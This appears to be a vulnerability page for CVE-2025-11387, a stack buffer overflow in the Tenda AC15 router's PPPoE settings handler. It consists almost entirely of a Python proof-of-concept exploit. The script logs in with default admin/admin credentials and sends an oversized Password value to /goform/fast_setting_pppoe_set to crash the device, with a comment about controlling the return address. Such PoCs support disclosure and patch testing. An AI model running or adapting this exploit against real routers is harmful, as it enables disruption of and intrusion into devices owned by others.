CVE-2025-11387：Tenda AC15 PPPoE设置栈缓冲区溢出漏洞

# CVE-2025-11387 PoC - Tenda AC15 Stack-based Buffer Overflow # Target: /goform/fast_setting_pppoe_set (Password parameter) # Firmware Version: 15.03.05.18 import requests import sys TARGET_HOST = "http://192.168.0.1" LOGIN_URL = f"{TARGET_HOST}/login/Auth" TARGET_URL = f"{TARGET_HOST}/goform/fast_setting_pppoe_set" USERNAME = "admin" PASSWORD = "admin" # Step 1: Authenticate to obtain session cookie def authenticate(): session = requests.Session() payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=payload, timeout=10) if "Set-Cookie" in resp.headers or resp.status_code == 200: print("[+] Authentication successful") return session except Exception as e: print(f"[-] Authentication failed: {e}") sys.exit(1) # Step 2: Trigger buffer overflow via Password parameter def exploit(session): # Overflow payload: padding + controlled return address (e.g., 0x41414141 for PoC) overflow_payload = "A" * 512 # Adjust offset based on stack frame analysis payload = { "loginFlag": "1", "PPPOEUser": "test", "Password": overflow_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: resp = session.post(TARGET_URL, data=payload, headers=headers, timeout=10) print(f"[+] Exploit sent, status code: {resp.status_code}") except Exception as e: print(f"[*] Connection may have been reset (potential crash): {e}") if __name__ == "__main__": print("[*] CVE-2025-11387 - Tenda AC15 PPPoE Password Stack Overflow PoC") sess = authenticate() exploit(sess)